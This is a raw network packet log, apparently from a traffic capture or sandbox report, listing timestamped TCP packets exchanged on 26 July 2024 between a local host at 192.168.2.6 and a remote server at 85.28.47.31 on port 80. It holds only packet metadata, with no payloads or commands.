Jul 26, 2024 10:36:12.881295919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881306887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881318092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881325960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881330967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881345034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881357908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881369114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881375074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881380081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881409883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881409883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881453037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881813049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881824970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881834984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881845951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881855965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881858110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881867886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881877899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881881952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.881891012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.881995916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.882021904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.882750034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882762909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882775068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882786036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882797003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882807970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882819891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.882834911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.882834911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.882874012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.884551048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884562969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884572983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884582996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884594917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884604931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884615898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884620905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.884622097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.884629011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884640932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884644032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.884651899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.884704113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.884704113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.885587931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.885601044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.885611057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.885622025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.885633945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.885684967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.885684967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.885684967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.886020899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886033058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886043072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886054039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886064053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886075020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886085987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886090994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.886097908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886110067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886126041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.886173010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.886173010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.886173010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.887053013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.887064934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.887123108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.887144089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.887203932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.887249947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.888099909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.888112068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.888122082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.888127089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.888185978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.888185978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.918982029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919053078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919064045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919089079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.919089079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.919123888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.919889927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919902086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919913054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919924021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.919992924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.919992924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.945849895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945863962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945874929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945885897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945899010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945909023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945919991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945930958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.945939064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.946026087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.946729898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946742058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946752071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946763039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946774006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946784973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946794987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946805954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946816921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946827888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946837902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946854115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946901083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.946917057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.946964979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.947549105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947561979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947571993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947582960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947593927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947604895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.947624922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.947624922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.947671890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979007006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979022980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979041100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979052067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979063988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979074955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979087114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979154110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979228973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979254961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979311943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979652882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979664087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979675055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979686022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979697943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979710102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.979778051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979778051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.979778051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980006933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980017900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980029106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980038881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980050087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980062008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980062962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980077028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980087996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980098009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980108023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980115891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980120897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980133057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980137110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980144978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980191946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980191946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980700016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980711937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980722904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980735064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980746031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980758905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980765104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980772018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.980787039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980802059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.980896950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981195927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981206894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981216908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981229067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981240988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981252909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981308937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981308937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981334925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981815100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981826067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981836081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981848001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981858969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981869936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981879950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981899023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981909990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981920004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981930971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.981941938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981941938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.981941938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.982002974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.982003927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.982880116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982892990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982903004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982913971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982923985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982934952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982945919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982956886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982968092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982980013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982990026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.982992887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.982992887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983022928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983022928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983680010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983692884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983704090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983726025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983740091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983752012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983752966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983787060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983834028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.983953953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983967066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983978033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.983989000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.984050035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.984050035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.984050035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:12.984235048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:12.984286070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.029496908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.029511929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.029580116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.030045986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.030060053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.030071020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.030082941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.030095100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.030119896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.030143976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033587933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033634901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033644915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033658028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033699989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033699989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033725977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033783913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033802032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033813000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033823967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033838034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033849955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.033854008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033854008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.033901930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.034142017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034162045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034203053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.034305096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.034310102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034322023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034332991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034344912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034356117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.034480095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.034480095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.036220074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.036232948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.036242008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.036267042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.036277056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.036437035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.037230968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.037252903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.037266016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.037276983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.037287951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.037322044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.037416935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.038690090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.038820028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073227882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073242903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073252916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073312044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073323011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073333979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073343992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073405027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073440075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073451042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073461056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073470116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073503017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073556900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073661089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073672056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073681116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073689938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073698997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073709011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073719978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073745966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073745966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073858976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.073971987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073982954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.073992014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074002028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074011087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074022055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074033976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074043989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074069023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074069023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074069023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074106932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074285984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074295998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074306011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074321985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074331999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074342012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074352026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074363947 CEST	80	49710	85.28.47.31	192.168.2.6
